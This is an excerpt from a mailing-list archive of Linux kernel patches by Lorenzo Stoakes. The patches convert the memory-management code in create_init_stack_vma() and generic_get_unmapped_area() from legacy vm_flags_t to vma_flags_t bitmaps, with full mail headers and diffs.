 #define VM_SPARC_ADI	INIT_VM_FLAG(SPARC_ADI)
 #define VM_ARCH_CLEAR	INIT_VM_FLAG(ARCH_CLEAR)
@@ -485,6 +486,7 @@ enum {
 #endif
 #ifndef VM_GROWSUP
 #define VM_GROWSUP	VM_NONE
+#define VMA_GROWSUP	EMPTY_VMA_FLAGS
 #endif
 #ifdef CONFIG_ARM64_MTE
 #define VM_MTE		INIT_VM_FLAG(MTE)
@@ -1578,11 +1580,24 @@ static inline bool vma_is_initial_stack(const struct vm_area_struct *vma)
 		vma->vm_end >= vma->vm_mm->start_stack;
 }
 
-static inline bool vma_is_temporary_stack(const struct vm_area_struct *vma)
+static inline bool vma_flags_can_grow(const vma_flags_t *flags)
 {
-	int maybe_stack = vma->vm_flags & (VM_GROWSDOWN | VM_GROWSUP);
+	if (vma_flags_test_single_mask(flags, VMA_GROWSUP))
+		return true;
+	if (vma_flags_test(flags, VMA_GROWSDOWN_BIT))
+		return true;
+
+	return false;
+}
 
-	if (!maybe_stack)
+static inline bool vma_can_grow(const struct vm_area_struct *vma)
+{
+	return vma_flags_can_grow(&vma->flags);
+}
+
+static inline bool vma_is_temporary_stack(const struct vm_area_struct *vma)
+{
+	if (!vma_can_grow(vma))
 		return false;
 
 	if ((vma->vm_flags & VM_STACK_INCOMPLETE_SETUP) ==

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360580.1613483 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkJ-00005V-Mi; Sun, 12 Jul 2026 05:28:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360580.1613483; Sun, 12 Jul 2026 05:28:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkJ-0008V9-8Q; Sun, 12 Jul 2026 05:28:55 +0000
Received: by outflank-mailman (input) for mailman id 1360580;
 Sat, 11 Jul 2026 18:48:53 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wickv-0005a0-Lt
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:48:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wickv-00ANfV-2v
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:48:53 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f7c-bab6-0a2a0a5309dd-0a2a4508cbca-40
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:48:53 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a529013-ee29-0a2a45080019-ac6904feb75e-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:48:52 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 4537960052;
 Sat, 11 Jul 2026 18:48:51 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 9008E1F00A3A;
 Sat, 11 Jul 2026 18:48:30 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795731;
	bh=xUC24CQFaY5LbYrAu8Wt8s4S5Jfizo903DYj6Alr2hU=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=T2G/K9FQZYBazUrgB2p6/rvfCKhk9yVPWpSxduMlumEpHCAb8GIbHDFOcJ29GZ34U
	 FXoVtM0TahqpG2/h+I35MFGUy4UrraSO9nANAAN+M49Y3tgJA4m0CYLj+ru8taIP0e
	 7EwnqOpFEKL4iXCg5QZZwK5koK5H5QEVreRGd5cREPAjXQl/m6ADMh2C7JiS0ReU18
	 sLcJRzfxdd1qFQvsCzgzdlU8pnCRI6OHlZ/0t0TJhZtZlO6HOaThVpZM8GMKxdOOxO
	 D08lfnlYbZAwAhOcCcewMb1kpDKqfnnPKEY1kl5rBn0b7BUgoqExRSpaXAvWTzltve
	 YRk/0mVL7ztfw==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:06 +0100
Subject: [PATCH v2 09/13] mm/vma: update create_init_stack_vma() to use
 vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-9-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=4313; i=ljs@kernel.org;
 h=from:subject:message-id; bh=9FQuWO1YsUxULowpltE39pKMqBbYRFh58BoyoKhWb3A=;
 b=kA0DAAoWz53NioHifxQByyZiAGpSjzqg8y14Kh5MvFuw4iTsl7kJvl53Dij+JdajKdpzjYsNp
 oh1BAAWCgAdFiEE5/QXv1IUVp6J0E9Gz53NioHifxQFAmpSjzoACgkQz53NioHifxQcIwD/VYCq
 8XVlwzBqdiLqx84JrVaGvSVASgylLrKcnFTCHu8BANPzzRn5WflkqRuMXJ46TwzQqPTztlhZtDp
 EX8lo8YsM
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-c1860d/1783795733-7AC2601C-ABF52587/0/0
X-purgate-type: clean
X-purgate-size: 4315

Replace use of the legacy vm_flags_t flags with vma_flags_t values in
create_init_stack_vma().

As part of this change we add VMA_STACK_EARLY and VMA_STACK_INCOMPLETE
vma_flags_t defines, and slightly rework create_init_stack_vma() for
clarity.

No functional change intended.

Reviewed-by: Zi Yan <ziy@nvidia.com>
Reviewed-by: Lance Yang <lance.yang@linux.dev>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 include/linux/mm.h              |  4 ++++
 mm/vma_exec.c                   | 18 +++++++++++-------
 tools/testing/vma/include/dup.h |  4 ++++
 3 files changed, 19 insertions(+), 7 deletions(-)

diff --git a/include/linux/mm.h b/include/linux/mm.h
index 1209db1a4b92..550fb92957d1 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -442,8 +442,10 @@ enum {
 #define VM_STACK	INIT_VM_FLAG(STACK)
 #ifdef CONFIG_STACK_GROWSUP
 #define VM_STACK_EARLY	INIT_VM_FLAG(STACK_EARLY)
+#define VMA_STACK_EARLY mk_vma_flags(VMA_STACK_EARLY_BIT)
 #else
 #define VM_STACK_EARLY	VM_NONE
+#define VMA_STACK_EARLY EMPTY_VMA_FLAGS
 #endif
 #ifdef CONFIG_ARCH_HAS_PKEYS
 #define VM_PKEY_SHIFT ((__force int)VMA_HIGH_ARCH_0_BIT)
@@ -544,6 +546,8 @@ enum {
 
 /* Bits set in the VMA until the stack is in its final location */
 #define VM_STACK_INCOMPLETE_SETUP (VM_RAND_READ | VM_SEQ_READ | VM_STACK_EARLY)
+#define VMA_STACK_INCOMPLETE_SETUP append_vma_flags(		\
+	VMA_STACK_EARLY, VMA_RAND_READ_BIT, VMA_SEQ_READ_BIT)
 
 #define TASK_EXEC_BIT ((current->personality & READ_IMPLIES_EXEC) ? \
 		       VMA_EXEC_BIT : VMA_READ_BIT)
diff --git a/mm/vma_exec.c b/mm/vma_exec.c
index a3c6b05c65fe..7af1260689b9 100644
--- a/mm/vma_exec.c
+++ b/mm/vma_exec.c
@@ -112,15 +112,17 @@ int relocate_vma_down(struct vm_area_struct *vma, unsigned long shift)
 int create_init_stack_vma(struct mm_struct *mm, struct vm_area_struct **vmap,
 			  unsigned long *top_mem_p)
 {
-	unsigned long flags = VM_STACK_FLAGS | VM_STACK_INCOMPLETE_SETUP;
+	vma_flags_t flags = VMA_STACK_INCOMPLETE_SETUP;
+	struct vm_area_struct *vma;
 	int err;
-	struct vm_area_struct *vma = vm_area_alloc(mm);
 
+	/* VMA_STACK_FLAGS and VMA_STACK_INCOMPLETE_SETUP must not overlap. */
+	VM_WARN_ON_ONCE(vma_flags_test_any_mask(&flags, VMA_STACK_FLAGS));
+
+	vma = vm_area_alloc(mm);
 	if (!vma)
 		return -ENOMEM;
 
-	vma_set_anonymous(vma);
-
 	if (mmap_write_lock_killable(mm)) {
 		err = -EINTR;
 		goto err_free;
@@ -134,18 +136,20 @@ int create_init_stack_vma(struct mm_struct *mm, struct vm_area_struct **vmap,
 	if (err)
 		goto err_ksm;
 
+	vma_flags_set_mask(&flags, VMA_STACK_FLAGS);
+	vma_set_anonymous(vma);
+
 	/*
 	 * Place the stack at the largest stack address the architecture
 	 * supports. Later, we'll move this to an appropriate place. We don't
 	 * use STACK_TOP because that can depend on attributes which aren't
 	 * configured yet.
 	 */
-	VM_WARN_ON_ONCE(VM_STACK_FLAGS & VM_STACK_INCOMPLETE_SETUP);
 	vma->vm_end = STACK_TOP_MAX;
 	vma->vm_start = vma->vm_end - PAGE_SIZE;
 	if (pgtable_supports_soft_dirty())
-		flags |= VM_SOFTDIRTY;
-	vm_flags_init(vma, flags);
+		vma_flags_set(&flags, VMA_SOFTDIRTY_BIT);
+	vma->flags = flags;
 	vma->vm_page_prot = vma_get_page_prot(vma);
 
 	err = insert_vm_struct(mm, vma);
diff --git a/tools/testing/vma/include/dup.h b/tools/testing/vma/include/dup.h
index 57c80924813d..64f38a83613e 100644
--- a/tools/testing/vma/include/dup.h
+++ b/tools/testing/vma/include/dup.h
@@ -245,8 +245,10 @@ enum {
 #define VM_STACK	INIT_VM_FLAG(STACK)
 #ifdef CONFIG_STACK_GROWSUP
 #define VM_STACK_EARLY	INIT_VM_FLAG(STACK_EARLY)
+#define VMA_STACK_EARLY mk_vma_flags(VMA_STACK_EARLY_BIT)
 #else
 #define VM_STACK_EARLY	VM_NONE
+#define VMA_STACK_EARLY EMPTY_VMA_FLAGS
 #endif
 #ifdef CONFIG_ARCH_HAS_PKEYS
 #define VM_PKEY_SHIFT ((__force int)VMA_HIGH_ARCH_0_BIT)
@@ -315,6 +317,8 @@ enum {
 
 /* Bits set in the VMA until the stack is in its final location */
 #define VM_STACK_INCOMPLETE_SETUP (VM_RAND_READ | VM_SEQ_READ | VM_STACK_EARLY)
+#define VMA_STACK_INCOMPLETE_SETUP append_vma_flags(		\
+	VMA_STACK_EARLY, VMA_RAND_READ_BIT, VMA_SEQ_READ_BIT)
 
 #define TASK_EXEC_BIT ((current->personality & READ_IMPLIES_EXEC) ? \
 		       VM_EXEC_BIT : VM_READ_BIT)

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360570.1613448 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkH-0007vY-Oq; Sun, 12 Jul 2026 05:28:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360570.1613448; Sun, 12 Jul 2026 05:28:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkH-0007uR-H8; Sun, 12 Jul 2026 05:28:53 +0000
Received: by outflank-mailman (input) for mailman id 1360570;
 Sat, 11 Jul 2026 18:47:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wicjF-0005J9-Jh
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:47:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicjF-00A53d-0T
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:47:09 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f86-e002-0a2a0a5209dd-0a2a450799ea-30
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:47:08 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528fab-ac46-0a2a45070019-aceafc1f94dc-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:47:08 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 6FD08411CA;
 Sat, 11 Jul 2026 18:47:06 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id E38421F000E9;
 Sat, 11 Jul 2026 18:46:45 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795626;
	bh=Cys+jf7FSJvkCpfIdDug3cdlx8ypGdMjngNui8wSibo=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=BGbT3efQd05kEEjTh+aO4RIluI/3vbRGG07jZPAzbysVlgzwXnZVd8f3t8E8Vuhd6
	 /dACfscdhH9yKm6ORV9MIHznN0QDaIGK+Xd+Y+t8MqLriFyX1OaduZQhi7cZQzgZLA
	 zhkYGSy3lsS2NYCL1bWL202tjTmTDVV+eSqCV7wUyQZndnvpprLtQNMS5nm7owHWNj
	 KGyx5ds0GcgnPAShXFUlRpaavVRV26dnZg4wZ7A21dt9cXYXyOCSf0zPZMetrqJNJW
	 /KsazvPLmIyGMbdJPeU7/Pu006j9N9JCilWvEgMUxQFss7qH26Jx8s/ZkArz+vG1bl
	 K1uChQpzKnO0g==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:01 +0100
Subject: [PATCH v2 04/13] mm: update generic_get_unmapped_area[_topdown]()
 to use vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-4-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=5495; i=ljs@kernel.org;
 h=from:subject:message-id; bh=q7YWuxvCY0LSuxzxUdXFVMeI8S+gRJqyF3+arUou2v8=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i2NEp1+fZh+q6WCyTJbY35wdc6HWZPCOjy54oQmS
 8fxCv3pKGVhEONikBVTZHn+RXx/kEjYvM4L/m4wc1iZQIYwcHEKwET0vBgZzm+rtfp9UtOlYFNd
 VUrv+3hJr49ru99VTjn8XNVY8UQJG8N/t7zLlVMXTLjaPmvbSZkQrfo9K1r/7GqZnb+h7uyNZ7a
 OvAA=
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-ef75cf/1783795628-D843D201-2EEC111C/0/0
X-purgate-type: clean
X-purgate-size: 5497

As part of the changes converting VMA flags from a system word size to a
bitmap, extend this change to generic_get_unmapped_area() and
generic_get_unmapped_area_topdown(), which also allows us to convert
stack_guard_placement() as well.

We retain arch_get_unmapped_area() and arch_get_unmapped_area_topdown()
as-is for now, using legacy_to_vma_flags() as necessary to do so.

No functional change intended.

Reviewed-by: Zi Yan <ziy@nvidia.com>
Reviewed-by: Lance Yang <lance.yang@linux.dev>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 arch/powerpc/mm/book3s64/slice.c |  6 ++++--
 include/linux/sched/mm.h         |  4 ++--
 mm/mmap.c                        | 16 ++++++++--------
 3 files changed, 14 insertions(+), 12 deletions(-)

diff --git a/arch/powerpc/mm/book3s64/slice.c b/arch/powerpc/mm/book3s64/slice.c
index 28bec5bc7879..82127e31dca6 100644
--- a/arch/powerpc/mm/book3s64/slice.c
+++ b/arch/powerpc/mm/book3s64/slice.c
@@ -659,7 +659,8 @@ unsigned long arch_get_unmapped_area(struct file *filp,
 	unsigned int psize;
 
 	if (radix_enabled())
-		return generic_get_unmapped_area(filp, addr, len, pgoff, flags, vm_flags);
+		return generic_get_unmapped_area(filp, addr, len, pgoff, flags,
+						 legacy_to_vma_flags(vm_flags));
 
 	if (filp && is_file_hugepages(filp))
 		psize = file_to_psize(filp);
@@ -679,7 +680,8 @@ unsigned long arch_get_unmapped_area_topdown(struct file *filp,
 	unsigned int psize;
 
 	if (radix_enabled())
-		return generic_get_unmapped_area_topdown(filp, addr0, len, pgoff, flags, vm_flags);
+		return generic_get_unmapped_area_topdown(filp, addr0, len,
+				pgoff, flags, legacy_to_vma_flags(vm_flags));
 
 	if (filp && is_file_hugepages(filp))
 		psize = file_to_psize(filp);
diff --git a/include/linux/sched/mm.h b/include/linux/sched/mm.h
index 10d723bee95c..10be8a54b416 100644
--- a/include/linux/sched/mm.h
+++ b/include/linux/sched/mm.h
@@ -200,11 +200,11 @@ unsigned long mm_get_unmapped_area_vmaflags(struct file *filp,
 unsigned long
 generic_get_unmapped_area(struct file *filp, unsigned long addr,
 			  unsigned long len, unsigned long pgoff,
-			  unsigned long flags, vm_flags_t vm_flags);
+			  unsigned long flags, vma_flags_t vma_flags);
 unsigned long
 generic_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 				  unsigned long len, unsigned long pgoff,
-				  unsigned long flags, vm_flags_t vm_flags);
+				  unsigned long flags, vma_flags_t vma_flags);
 #else
 static inline void arch_pick_mmap_layout(struct mm_struct *mm,
 					 const struct rlimit *rlim_stack) {}
diff --git a/mm/mmap.c b/mm/mmap.c
